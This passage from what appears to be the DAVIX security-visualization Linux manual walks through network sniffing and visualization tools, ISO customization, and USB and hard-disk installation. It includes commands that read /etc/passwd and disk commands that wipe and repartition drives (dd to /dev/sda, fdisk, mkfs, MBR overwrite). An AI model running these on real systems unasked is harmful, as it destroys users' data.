• Start RT Graph 3D Client through the KDE start menu.
• On the RTG prompt of the client enter: edge a b
• The linked graph should now be shown.
• On the RTG prompt of the client enter: help
51 / 111
• A list of possible commands is shown.
52 / 111
3.21. rumint (V)
Purpose
• Visualization of real-time and recorded network captures. Since rumint is
running in Wine sniffing of real-time traffic is not supported.
Links
• Homepage
http://www.rumint.org/
Important install locations
• ./root/.wine/drive_c/Program Files/rumint
Example
• Since rumint is running in Wine, it is not possible to capture live network
traffic. Therefore you have to capture the traffic with Wireshark or tcpdump.
• Start rumint through the KDE start menu.
• In the window menu select File\Load PCAP Dataset.
• In the file open dialog navigate to your capture file and open it.
• In the window menu select View\Scatter Plot and then View\Parallel Plot.
53 / 111
• In the window Scatter Plot select Source IP in the X-axis and Dest IP in the
Y-axis.
• In the window Parallel Coordinate Plot select TCP Source Port on the left
hand side and TCP Dest Port on right hand side.
• Press the play button to start visualizing the network traffic.
54 / 111
3.22. Scapy (CPV)
Purpose
• Capture and manipulation of TCP/IP traffic.
• Visualization of traceroutes.
Links
• Homepage
http://www.secdev.org/projects/scapy/
• Tutorial
http://www.secdev.org/projects/scapy/demo.html
Important install locations
• /usr/lib/python2.5
• /usr/local/bin
Example traceroute
• Open a console.
• Execute the command: scapy
• Execute the following command to traceroute a series of hosts:
res,unans = traceroute(["www.microsoft.com","www.cisco.com"],
dport=[80,443],maxttl=20,retry=-2)
root@slax:~# scapy
Welcome to Scapy (1.2.0.2)
>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com"],
... dport=[80,443],maxttl=20,retry=-2)
Begin emission:
**********************************************************************Finish
ed to send 80 packets.
*******Begin emission:
Finished to send 3 packets.
*Begin emission:
Finished to send 2 packets.
Begin emission:
Finished to send 2 packets.
Received 78 packets, got 78 answers, remaining 2 packets
198.133.219.25:tcp443 198.133.219.25:tcp80 207.46.19.190:tcp443
207.46.19.190:tcp80
1 192.168.16.1 11 192.168.16.1 11 192.168.16.1 11
192.168.16.1 11
2 212.254.136.1 11 212.254.136.1 11 212.254.136.1 11
212.254.136.1 11
...
55 / 111
• To plot the graph use the command: res.graph()
• To generate a three-dimensional plot use the command: res.trace3D()
56 / 111
Example Sniffing
• Open a console.
• Execute the command: scapy
• Sniff some network traffic: p=sniff(count=50)
root@slax:~# scapy
Welcome to Scapy (1.2.0.2)
>>> p=sniff(count=50)
• Plot some statistics using the command: p.plot(lambda x:len(x))
>>> p.plot(lambda x:len(x))
<Gnuplot._Gnuplot.Gnuplot instance at 0x84cf0ec>
• The graph is plotted.
57 / 111
3.23. Shell Tools (P)
Purpose
• Common UNIX tools for processing text files.
Links
• Tutorial awk: http://www.grymoire.com/Unix/Awk.html
• Tutorial grep: http://www.panix.com/~elflord/unix/grep.html
• Tutorial sed: http://www.grymoire.com/Unix/Sed.html
Important install locations
• /usr/bin
Example
• To extract the first column of a colon separated text file use:
awk -F\: '{print $1}' /etc/passwd
root@slax:~# awk -F\: '{print $1}' /etc/passwd
root
bin
daemon
adm
lp
...
• To grep a single line from a text file use:
grep "^root" /etc/passwd
root@slax:~# grep "^root" /etc/passwd
root:x:0:0::/root:/bin/bash
• To egrep lines for multiple patterns use:
egrep "^root|^apache" /etc/passwd
root@slax:~# egrep "^root|^apache" /etc/passwd
root:x:0:0::/root:/bin/bash
apache:x:80:80:User for Apache:/srv/httpd:/bin/false
58 / 111
3.24. Shoki Packet Hustler (V)
Purpose
• Visualization of network traffic as a three-dimensional scatter plot.
Links
• Homepage
http://shoki.sourceforge.net/
• Manual
http://shoki.sourceforge.net/hustler/manual.html
Important install locations
• /usr/local/shoki
Example
• First you have to create a capture file with Wireshark.
• Next, Start Shoki Packet Hustler through the KDE start menu.
• In the file open dialog select the capture file.
59 / 111
• The scatter plot of the network traffic is shown.
60 / 111
3.25. tcpdump (C)
Purpose
• Command line tool for sniffing network traffic.
Links
• Homepage:
http://www.tcpdump.org/
• Manual:
http://www.tcpdump.org/tcpdump_man.html
Important install locations
• /usr/sbin
Example
• Open a console.
• To capture network traffic into a file from the network interface eth0, use the
following command: tcpdump -s0 -i eth0 -w test.cap
61 / 111
3.26. Timesearcher 1 (V)
Purpose
• Analysis of time series data.
Links
• Homepage
http://www.cs.umd.edu/hcil/timesearcher/
• Manual
http://www.cs.umd.edu/hcil/timesearcher/docs/index.html
Important install locations
• /usr/local/bin
• /usr/local/lib/timesearcher1
• /usr/local/share/timesearcher1
Example
• Start Timesearcher 1 through the KDE start menu.
• In the file dialog click the browse button and navigate to:
/usr/local/share/timesearcher1/data
• Open one of the graphs in this directory, e.g. 52weeks.tqd.
62 / 111
• The graph is shown.
63 / 111
3.27. tnv (V)
Purpose
• Time based analysis of network traffic.
Links
• Homepage
http://tnv.sourceforge.net/
• Tutorial
http://tnv.sourceforge.net/start.php
Important install locations
• /usr/local/bin
• /usr/local/lib/tnv
• /usr/local/share/tnv/
Example
• Start tnv through the KDE start menu.
• Acknowledge the startup dialog by pressing the button Begin using TNV.
• In the upcoming dialog set your local network IP range, in our example it is
192.168.16.0 with the network mask 255.255.255.0.
• In the Open Database Connection dialog select Embedded.
64 / 111
• In the window menu select Capture\Capture Packets...
• In the Capture Packets dialog select the network interface you want to monitor,
e.g. eth0.
• Open Firefox and do some surfing.
• When you are done press the Stop capture button in tnv.
• The graph is rendered.
65 / 111
3.28. Treemap (V)
Purpose
• Visualization of hierarchical data as treemaps.
Links
• Homepage
http://www.cs.umd.edu/hcil/treemap/
• Manual
http://www.cs.umd.edu/hcil/treemap/doc4.1/toc.html
Important install locations
• /usr/local/bin
• /usr/local/lib/treemap
• /usr/local/share/treemap
Example
• Start TreeMap through the KDE start menu.
• The tool gives give a license warning that it can only be used for non
commercial purposes. If you agree to the license conditions press Agree,
otherwise Exit.
• In the file open dialog navigate to: /usr/local/share/treemap/data.
• Open one of the graphs in this directory, e.g. election-with-hierarchy.tm3.
66 / 111
• The treemap is then rendered.
• By clicking into single boxes you can drill down the hierarchy.
67 / 111
3.29. Tulip (V)
Purpose
• Visualization tool for linked graphs that supports several layout algorithms.
Links
• Homepage
http://www3.labri.fr/perso/auber/projects/tulip/
•
Manual
http://www3.labri.fr/perso/auber/projects/tulip/userHandbook.php
Important install locations
• /usr/local/bin
• /usr/local/lib
• /usr/local/lib/tlp
• /usr/local/share/tulip
Example
• Start Tulip through the KDE start menu.
• In the window menu select File\Import\Graphs\Uniform Random Binary Tree.
• In the dialog box enter for minsize 10 and for maxsize 100.
68 / 111
• To layout the graph, use the window menu Algorithm\Layout\Tree\Bubble
Tree.
• Just acknowledge the upcoming dialog and the tree gets laid out.
69 / 111
3.30. Walrus (V)
Purpose
• Visualization hierarchical data as three-dimensional link graphs.
Links
• Homepage
http://www.caida.org/tools/visualization/walrus/
Important install locations
• /usr/local/bin
• /usr/local/lib/walrus
• /usr/local/share/walrus
Example
• Start Walrus through the KDE start menu.
• In the window menu select File\Open.
• In the file open dialog navigate to: /usr/local/share/walrus/samples
• Open one of the graphs in this directory, e.g. champagne.graph.
70 / 111
• In the window menu select Rendering\Start to display the graph.
71 / 111
3.31. Wireshark (C)
Purpose
• Capturing and dissecting network traffic.
Links
• Homepage:
http://www.wireshark.org/
• Manual:
http://www.wireshark.org/docs/wsug_html/
Important install locations
• /usr/local/bin
• /usr/local/lib
• /usr/local/lib/wireshark
• /usr/local/share/wireshark
Example
• Start Wireshark through the KDE start menu.
• Select menu Capture\Options.
• In the field Interface select the network interface you want to sniff.
72 / 111
• Press the Start button.
• The network traffic is now recorded.
• To stop recording select the window menu Capture\Stop.
• In the center window frame you can now navigate through the dissected
protocol layers.
73 / 111
4.
Customizing DAVIX ISO Image
You will most likely get quickly to a point where you want to modify the DAVIX
image to suite your particular requirements. Thanks to SLAX customizing your CD
with your own configuration and adding or removing modules is really easy. This
chapter shows you how to do that. Customizing can either be done under Linux or
Windows.
4.1.
Windows
The general steps for modifying the DAVIX ISO under Windows are the following:
• Create a new directory on your hard drive, e.g. D:\mydavix\
• Copy the boot and slax directory to the newly created directory.
• Make your changes according to the instructions in the following chapters.
• Open a DOS prompt.
• Navigate to the slax directory on your hard drive using the command:
cd /d D:\mydavix\slax\
• Execute the following command to build the ISO image:
make_iso.bat d:\mydavix\mydavix.iso
D:\mydavix\slax>make_iso.bat D:\mydavix\mydavix.iso
mkisofs 2.01 (i686-pc-cygwin)
Scanning .
Scanning ./boot
Scanning ./boot/dos
Scanning ./boot/isolinux
Excluded by match: ./boot/isolinux/isolinux.boot
Scanning ./boot/syslinux
Scanning ./slax
Scanning ./slax/base
Scanning ./slax/devel
Scanning ./slax/modules
Scanning ./slax/optional
Scanning ./slax/rootcopy
...
Scanning ./slax/rootcopy/usr/share/wallpapers
Scanning ./slax/tools
Scanning ./slax/tools/WIN
...
Writing: Initial Padblock Start Block 0
Done with: Initial Padblock Block(s) 16
Writing: Primary Volume Descriptor Start Block 16
Done with: Primary Volume Descriptor Block(s) 1
Writing: Eltorito Volume Descriptor Start Block 17
Size of boot image is 4 sectors -> No emulation
Done with: Eltorito Volume Descriptor Block(s) 1
Writing: Joliet Volume Descriptor Start Block 18
74 / 111
Done with: Joliet Volume Descriptor Block(s) 1
Writing: End Volume Descriptor Start Block 19
Done with: End Volume Descriptor Block(s) 1
Writing: Version block Start Block 20
Done with: Version block Block(s) 1
Writing: Path table Start Block 21
Done with: Path table Block(s) 4
Writing: Joliet path table Start Block 25
Done with: Joliet path table Block(s) 4
Writing: Directory tree Start Block 29
Done with: Directory tree Block(s) 82
Writing: Joliet directory tree Start Block 111
Done with: Joliet directory tree Block(s) 69
Writing: Directory tree cleanup Start Block 180
Done with: Directory tree cleanup Block(s) 0
Writing: Extension record Start Block 180
Done with: Extension record Block(s) 1
Writing: The File(s) Start Block 181
1.74% done, estimate finish Thu May 1 17:23:51 2008
...
99.16% done, estimate finish Thu May 1 17:23:34 2008
Total translation table size: 2048
Total rockridge attributes bytes: 48022
Total directory bytes: 166354
Path table size(bytes): 860
Done with: The File(s) Block(s) 287089
Writing: Ending Padblock Start Block 287270
Done with: Ending Padblock Block(s) 150
Max brk space used 64000
287420 extents written (561 MB)
New ISO should be created now.
Press any key to continue . . .
• Either burn the created ISO image mydavix.iso to a CD-ROM/DVD or use any
other deployment method as document in the chapter Deployment Options.
4.2.
Linux
The general steps for modifying the DAVIX ISO under Linux are the following. Note
that hdc is used here as a sample. On you system it could be on another device ID.
• Open a console.
• Insert DAVIX CD into your CD or DVD drive. On some Linux system the CD
will automatically be mounted into /mnt/hdc.
• If DAVIX CD or DVD does not mount automatically you can mount it
manually: mount /dev/hdc /mnt/hdc
• Create a new directory on your hard drive, e.g.: mkdir -p /tmp/mydavix
• Copy the boot and slax directory to the newly created directory:
cp -pvR /mnt/hdc/boot /mnt/hdc/slax /tmp/mydavix
• Make your changes according to the instructions in the following chapters.
75 / 111
• Navigate to the slax directory on your hard drive using the command:
cd /tmp/mydavix/slax
• Execute the following command to build the ISO image:
./make_iso.sh /tmp/mydavix/mydavix.iso
• Either burn the created ISO image mydavix.iso to a CD-ROM/DVD or use any
other deployment method as document in the chapter Deployment Options.
4.3.
Adding and Removing Modules
After copying all the SLAX files to the hard drive you can customize the SLAX
content. Modules can be found in following directories:
• slax\base
SLAX core modules. Will be loaded on every boot.
• slax\modules Standard modules. Will be loaded on every boot.
• slax\optional Optional modules which can be specified in the boot menu.
You can add or remove modules from these directories as you like.
4.4.
Overriding Files with rootcopy
If you just want to override a specific file in one of the modules you can use the
slax\rootcopy directory. The content of rootcopy will be applied to the union file
system as the last step and it allows you to override any file in the file system.
This feature is very useful when you want to tweak single configuration files, like
/etc/X11/xorg.conf. But for larger changes the use modules is encouraged.
4.5.
Modifying Boot Menu
The boot menu can be modified through the file slax.cfg, which can be found in the
boot directory. Here you can add or remove additional entries in the boot menu. To
add a new one just append following section to the file:
76 / 111
LABEL myconf
MENU LABEL DAVIX Graphics mode (KDE)
KERNEL /boot/vmlinuz
APPEND initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw
changes=slax autoexec=xconf;kdm
TEXT HELP
Help for currently selected:
Run DAVIX the max, try to
autoconfig graphics card and use
the maximum allowed resolution.
ENDTEXT
Due to the width limitation in this document the line with the keyword APPEND is
wrapped to form two lines. In your slax.cfg it needs to be on one line to work
correctly.
The available boot options are documented in the chapter Boot Cheat Codes.
4.6.
Boot Cheat Codes
SLAX comes along with many useful boot options which allow you to tweak boot and
kernel behavior. The following list shows an extract of the most important ones. For a
complete list check the SLAX boot parameter page13.
• nodma
Disable DMA for CD-ROM and hard drives.
• noauto
Hard disk are not mounted automatically.
• nohd
Hard disks are not mounted.
• nocd
CD-ROMs are note mounted.
• nosound
Disable sound.
• password=foobar
Set root password to foobar.
• password=ask
Ask for new password during boot.
• changes=/dev/hdx
Stores changes to the specified device.
• changes=/foo/bar
Stores changes to the specified directory.
• changes=/foo.dat
Stores changes to the specified file.
• toram
Copy all CD files to RAM
• copy2ram
Same as toram
• load=module
Loads the specified module from slax\optional.
• noload=module
Disable loading of specified module
• autoexec=xconf;kdm After boot auto-configures X and starts KDM.
13 Boot Parameters in SLAX: http://www.slax.org/documentation_boot_cheatcodes.php
77 / 111
5.
Creating and Modifying Modules
This chapter shows you the different ways for getting your hands on additional SLAX
modules for DAVIX.
5.1.
Leverage Existing SLAX Modules
The easiest way to get a new SLAX module is by checking the SLAX website itself.
The modules page offers a wide range of contributed ready to use SLAX modules14.
These modules in general come with all the required libraries and should work right
away.
5.2.
Create New Modules from Slackware Packages
Another fast way to get additional modules is to search and download existing
Slackware packages15 and convert them to SLAX modules using following command:
tgz2lzm foo-bar-1.0.tgz foo-bar-1.0.lzm
14 SLAX modules: http://www.slax.org/modules.php
15 Search Slackware Packages: http://packages.slackware.it/
78 / 111
This approach does no dependency checking and requires you to investigate the
package dependencies yourself and convert all required packages to SLAX modules
as well. The pragmatic approach is to convert the particular module you want to run
and integrate it into the DAVIX ISO. Then you boot DAVIX and try to execute one of
the binaries in your module. If there is an error that a specific library is missing then
you have found an unsatisfied dependency. You then have to identify the Slackware
package where the library can be found and convert it to a SLAX module. And then
the testing starts again...
5.3.
Customize Existing SLAX or DAVIX Modules
If you want to tweak a single SLAX or DAVIX package a just little. It is possible to
extract a SLAX module using following command:
lzm2dir foo-bar-1.0.lzm /foo/bartarget/dir
You can then modify the extracted files to your needs and repack the directory to a
SLAX module with following command:
dir2lzm /foo/bartarget/dir foo-bar-1.0.lzm
79 / 111
6.
Deployment Options
The following instructions show you different ways how to install DAVIX on
different types of media. The step-by-step guides are very generic and do also apply
for other SLAX distributions.
6.1.
VMware
DAVIX can be run inside VMware without any problems. Even OpenGL is supported.
The procedures were successfully tested with:
• VMware Workstation 6.0.3 Build 80004
6.1.1. Virtual Machine Setup
For all the described VMware deployments the following procedure is common to all:
• Start VMware Workstation.
• Through the Windows menu File\New...\Virtual Machine... start the New
Virtual Machine Wizard.
• In the Virtual machine configuration step select Custom.
• In the Virtual machine hardware compatibility step select Workstation 6.
• As guest operating system select Linux and select Other Linux 2.6.x kernel.
• Choose virtual machine name and storage location.
• Choose One as the number of processors.
• Allocate at least 512 MB of memory. The optimal value is 1024 MB.
• Select Use bridged networking.
• Select I/O adapter type SCSI adapter LSI Logic.
• Select Create a new virtual disk.
• Select virtual disk type SCSI (Recommended).
80 / 111
• Choose disk size of 8 GB without allocating disk space.
• Choose disk file name and press Finish.
The basic virtual machine is now setup. Continue with one of the chapters CD-ROM
based Boot or Installation on Virtual Hard Drive.
6.1.2. CD-ROM based Boot
Before continuing with this chapter please setup the basic virtual machine as
described in chapter Virtual Machine Setup.
Edit virtual machine settings:
• Select tab Hardware
• Select CD-ROM drive.
• Select option Use ISO image and browse for the DAVIX image.
• Close the settings dialog.
On first startup the CD-ROM will not boot as default. Therefore following steps have
to be taken:
• Start virtual machine.
• When the BIOS screen is shown press F2.
• Navigate to menu Boot.
• Move the entry CD-ROM Drive to the first position in boot order.
• Press F10 and confirm changes by selecting Yes.
6.1.3. Installation on Virtual Hard Drive
Before continuing with this chapter please setup the basic virtual machine as
described in chapter Virtual Machine Setup.
Start the virtual machine and continue with the steps set out in chapter Hard Drive.
81 / 111
6.2.
Other Virtualization Environments
Our testers have reported that DAVIX works with following other virtualization
suites:
• Parallels 3.0 Build 5584
• QEMU 0.9
• VirtualBox 1.6.0
• VMware Fusion 1.1.2 Build 87978
For the exact environments, which the virtualization suites have been tested with, see
chapter Virtual Machines.
82 / 111
6.3.
USB Stick
It is possible to run DAVIX from a USB stick. This has the advantages that booting
from stick in general is faster and it allows for changes to be made persistent. The
following step-by-step instructions will help you to achieve this.
The procedures were successfully tested with following USB sticks:
• SanDisk Cruzer TITANIUM, 4GB
• SanDisk Cruzer Micro, 4 GB
• SONY Micro Vault, 1 GB
• Pretec 02GB Cha Cha, 2 GB
A word of warning:
• To avoid data loss the system should be shutdown properly before removing
the USB stick. In particular the VFAT is quite prone to such abuse. If you
want to have a robust solution use xfs as file system instead. For details see xfs
instruction below.
6.3.1. On Windows with VFAT Formatted USB Stick
• First of all you have to get a USB stick currently a USB stick with at least 1
GB is recommended. If you have more it should work as well.
• If the USB is supports U3 it is necessary to uninstall the U3 feature using the
tool provided by following web-site: http://www.u3.com/uninstall/.
83 / 111
• Then open the MMC console and add the Disk Management Snap-in.
• Format the USB stick partition with FAT32 and the default allocation unit size.
84 / 111
• Copy from the DAVIX CD/DVD the directories boot and slax to the USB
stick.
• Writing to the flash memory will take a while. So grab a coffee. J
• Open the DOS prompt and navigate to the boot directory on the USB stick.
• Execute bootinst.bat and acknowledge the messages. The USB stick is now
made bootable.
• Reboot your system and boot from USB stick. When you are seeing the
DAVIX boot menu you are done!
85 / 111
6.3.2. On Linux with VFAT Formatted USB Stick
Although VFAT is supported by the SLAX kernel the mkfs.vfat is missing on the
SLAX image. Therefore the first steps have to done in Windows.
• First of all you have to get a USB stick currently a USB stick with at least 1
GB is recommended. If you have more it should work as well.
• If the USB is supports U3 it is necessary to uninstall the U3 feature using the
tool provided by following web-site: http://www.u3.com/uninstall/.
• Then open the MMC console and add the Disk Management Snap-in.
• Format the USB stick partition with FAT32 and the default allocation size.
• Leave the USB inserted in the computer.
• Boot DAVIX from CD-ROM.
• Open a console.
• The USB should have been mounted automatically to /mnt/sda1. Execute
mount to cross-check.
root@slax:~# mount
aufs on / type aufs (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
usbfs on /proc/bus/usb type usbfs (rw)
/dev/sda1 on /mnt/sda1 type vfat
(rw,noatime,quiet,umask=0,check=s,shortname=mixed)
root@slax:~# .
• Then copy the directories boot and slax to the USB stick.
cp -pvR /mnt/live/mnt/hdc/boot /mnt/live/mnt/hdc/slax /mnt/sda1
• Writing to the flash memory will take a while. So grab a coffee. J
• Change to the boot directory on the USB stick: cd /mnt/sda1/boot
• Execute ./bootinst.sh and acknowledge the messages. The USB stick is now
made bootable.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Welcome to Slax boot installer
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This installer will setup disk /dev/sda1 to boot only Slax.
Warning! Master boot record (MBR) of /dev/sda will be overwritten.
If you use /dev/sda to boot any existing operating system, it will not work
86 / 111
anymore. Only Slax will boot from this device. Be careful!
Press any key to continue, or Ctrl+C to abort...
Flushing filesystem buffers, this may take a while...
Setting up MBR on /dev/sda...
The Master Boot Record of /dev/sda has been updated.
Activating partition /dev/sda1...
No partition table modifications are needed.
Updating MBR on /dev/sda...
Setting up boot record for /dev/sda1...
Disk /dev/sda1 should be bootable now. Installation finished.
Read the information above and then press any key to exit...
• Reboot your system and boot from USB stick. When you are seeing the
DAVIX boot menu you are done!
6.3.3. On Linux with xfs Formatted USB Stick
• First of all you have to get a USB stick currently a USB stick with at least 1
GB is recommended. If you have more it should work as well.
• If the USB is supports U3 it is necessary to uninstall the U3 feature using the
tool provided by following web-site: http://www.u3.com/uninstall/.
• Leave the USB inserted in the computer.
• Boot DAVIX from CD-ROM in KDE mode.
• Open a console.
• To find out which device ID your hard disk has execute the command:
sfdisk --list. For simplicity of this example sda has been chosen. Your device
ID may be different. So watch out!
root@slax:~# sfdisk --list
Disk /dev/sda: 1019 cylinders, 127 heads, 62 sectors/track
Units = cylinders of 4031488 bytes, blocks of 1024 bytes, counting from 0
Device Boot Start End #cyls #blocks Id System
/dev/sda1 * 0+ 1018 1019- 4011772 83 Linux
/dev/sda2 0 - 0 0 0 Empty
/dev/sda3 0 - 0 0 0 Empty
/dev/sda4 0 - 0 0 0 Empty
• Use mount to make sure that all file systems on the USB stick are unmounted.
root@slax:~# mount
aufs on / type aufs (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
87 / 111
usbfs on /proc/bus/usb type usbfs (rw)
/dev/hda1 on /mnt/hda1 type ext3 (rw,noatime)
/dev/hda3 on /mnt/hda3 type ext3 (rw,noatime)
/dev/sda1 on /mnt/sda1 type xfs (rw,noatime)
• If there is still a file system (e.g. sda1) mounted then unmount it:
umount /dev/sda1
• Wipe the USB stick to avoid later problems when installing the boot loader:
dd if=/dev/zero of=/dev/sda bs=1M
root@slax:~# dd if=/dev/zero of=/dev/sda bs=1M
dd: writing `/dev/sda': No space left on device
3920+0 records in
3919+0 records out
4110227968 bytes (4.1 GB) copied, 557.438 s, 7.4 MB/s
• Then we have to partition the hard drive. Execute: fdisk /dev/sda
root@slax:~# fdisk /dev/sda
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF
disklabel
Building a new DOS disklabel with disk identifier 0x66b7eb5d.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won't be recoverable.
Warning: invalid flag 0x0000 of partition table 4 will be corrected by
w(rite)
• Create partition according to the options below:
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-1019, default 1): {ENTER}
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-1019, default 1019): {ENTER}
Using default value 1019
• Activate the partition as bootable:
Command (m for help): a
Partition number (1-4): 1
• Create xfs file system on first partition: mkfs.xfs /dev/sda1
• Create a mount point for the third partition: mkdir /mnt/sda1
88 / 111
• Mount the third partition to the newly created mount point:
mount /dev/sda1 /mnt/sda1
• Copy the boot and slax directory to the newly created directory:
cp -pvR /mnt/live/mnt/hdc/boot /mnt/live/mnt/hdc/slax /mnt/sda1
• Writing to the flash memory will take a while. So grab a coffee. J
• Change to the boot directory on the USB stick: cd /mnt/sda1/boot
• Execute ./liloinst.sh and acknowledge the messages. The USB stick is now
made bootable.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-
Welcome to Slax boot installer
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-
This installer will setup disk /dev/sda to boot only Slax from /dev/sda1.
Warning! Master boot record (MBR) of /dev/sda will be overwritten.
If you use /dev/sda to boot any existing operating system, it will not work
anymore. Only Slax will boot from this device. Be careful!
Press any key to continue, or Ctrl+C to abort...
Flushing filesystem buffers, this may take a while...
Updating MBR to setup boot record...
Warning: /dev/sda is not on the first disk
Warning: The initial RAM disk is too big to fit between the kernel and
the 15M-16M memory hole. It will be loaded in the highest memory as
though the configuration file specified "large-memory" and it will
be assumed that the BIOS supports memory moves above 16M.
Added Slax ? *
Disk /dev/sda should be bootable now. Installation finished.
Read the information above and then press any key to exit...
• Reboot your system and boot from USB stick. When you are seeing the
DAVIX boot menu you are done!
89 / 111
6.4.
Hard Drive
DAVIX can also be installed on hard disk where all SLAX modules have been
extracted. These instructions are based in parts on the paper published by Offensive
Security16.
A word of warning:
• According to BackTrack the BackTrack Installer is experimental and has not
yet been tested! It is therefore highly recommended to work with an empty
hard drive or use VMware.
Here is the procedure for installing DAVIX on hard disk:
• Boot DAVIX from CD or DVD in KDE mode. Make sure there are no other
hard drive devices attached than the one you want DAVIX onto.
• To find out which device ID your hard disk has execute the command: sfdisk -
-list. For simplicity of this example hda has been chosen. Your device ID may
be different. So watch out!
root@slax:~# sfdisk --list
Disk /dev/hda: 9733 cylinders, 255 heads, 63 sectors/track
Units = cylinders of 8225280 bytes, blocks of 1024 bytes, counting from 0
Device Boot Start End #cyls #blocks Id System
/dev/hda1 0 - 0 0 0 Empty
/dev/hda2 0 - 0 0 0 Empty
/dev/hda3 0 - 0 0 0 Empty
/dev/hda4 0 - 0 0 0 Empty
• First we have to partition the hard drive. Execute: fdisk /dev/hda
root@slax:~# fdisk /dev/hda
The number of cylinders for this disk is set to 9733.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
(e.g., DOS FDISK, OS/2 FDISK)
• Create first partition according to the options below:
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-9733, default 1): {ENTER}
16 BackTrack Hard Drive Installation: http://www.offensive-security.com/documentation/backtrack-hd-install.pdf
90 / 111
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-9733, default 9733): +50M
• Create second partition according to the options below:
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 2
First cylinder (8-9733, default 8): {ENTER}
Using default value 8
Last cylinder or +size or +sizeM or +sizeK (8-9733, default 9733): +512M
• Create third partition according to the options below:
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4): 3
First cylinder (71-9733, default 71): {ENTER}
Using default value 71
Last cylinder or +size or +sizeM or +sizeK (71-9733, default 9733): {ENTER}
Using default value 9733
• Activate the first partition as bootable:
Command (m for help): a
Partition number (1-4): 1
• Change the partition type of partition #2 to 82 for Linux Swap:
Command (m for help): t
Partition number (1-4): 2
Hex code (type L to list codes): 82
Changed system type of partition 2 to 82 (Linux swap)
• Now we have to write the partition table to disk:
Command (m for help): w
The partition table has been altered!
Calling ioctl() to re-read partition table.
Syncing disks.
root@slax:~#
• Now we have to initialize the swap partition: mkswap /dev/hda2
root@slax:~# mkswap /dev/hda2
91 / 111
Setting up swapspace version 1, size = 518184 kB
no label, UUID=4964f425-7308-4f41-bc1a-b7b6c2ff4a3c
• Create ext3 file system on first partition: mkfs.ext3 /dev/hda1
root@slax:~# mkfs.ext3 /dev/hda1
mke2fs 1.40.8 (13-Mar-2008)
Filesystem label=
OS type: Linux
Block size=1024 (log=0)
Fragment size=1024 (log=0)
14056 inodes, 56196 blocks
2809 blocks (5.00%) reserved for the super user
First data block=1
Maximum filesystem blocks=57671680
7 block groups
8192 blocks per group, 8192 fragments per group
2008 inodes per group
Superblock backups stored on blocks:
8193, 24577, 40961
Writing inode tables: done
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 24 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
• Create ext3 file system on third partition: mkfs.ext3 /dev/hda3
root@slax:~# mkfs.ext3 /dev/hda3
mke2fs 1.40.8 (13-Mar-2008)
Warning: 256-byte inodes not usable on older systems
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
4857856 inodes, 19404511 blocks
970225 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=0
593 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624, 11239424
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 23 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
• Create a mount point for the third partition: mkdir /mnt/hda3
• Mount the third partition to the newly created mount point:
mount /dev/hda3 /mnt/hda3
92 / 111
• In the KDE start menu System select BackTrack Installer (Experimental).
• Configure BT Installer as follows:
Source (BackTrack CD):
/mnt/live/mnt/sda1/slax
Install BackTrack to:
/mnt/hda3
Write New MBR (lilo.mbr) to:
/dev/hda
Installation method:
Real
Restore Original MBR after lilo unchecked
• Press the Install button.
• Installing DAVIX on hard drive will take a while. So grab a coffee. J
• Press the Close button.
• Shutdown DAVIX.
• Remove install media, like CD or USB stick.
• Boot your system. When you are seeing the DAVIX boot menu you are done!
93 / 111
7.
Hardware
SLAX and therewith DAVIX runs on normal PCs as well as in virtual machines. This
chapter show which environments are known to work with DAVIX and which ones
not.
7.1.
Physical Machines
7.1.1. Hardware Known to Work
In general DAVIX should work on any Intel and AMD based architecture. Following
hardware is known to work with DAVIX:
PC Brand & Type
Dell Dimension 3100c
CPU Type
Intel P4 Celeron
Memory
-
Graphic Card
-
LAN Network Card
-
Wireless Network Chipset
-
PC Brand & Type
Dell Inspiron 6000
CPU Type
Intel Pentium M, 1.86 GHz
Memory
1 GB
Graphic Card
ATI Mobility Radeon X300
LAN Network Card
Broadcom 440x 10/100
Wireless Network Chipset
Intel PRO/Wireless 2200BG
PC Brand & Type
Lenovo ThinkPad T60
CPU Type
T2400, 1.83 GHz
Memory
1 GB
Graphic Card
ATI Mobility Radeon X1400
LAN Network Card
Intel PRO/1000 PL
Wireless Network Chipset
Intel PRO/Wireless 3945ABG
PC Brand & Type
HP nx7400
CPU Type
Intel Centrino Duo
Memory
-
Graphic Card
-
LAN Network Card
-
Wireless Network Chipset
-
94 / 111
PC Brand & Type
HP nc6320
CPU Type
Intel Centrino Duo
Memory
-
Graphic Card
-
LAN Network Card
-
Wireless Network Chipset
-
PC Brand & Type
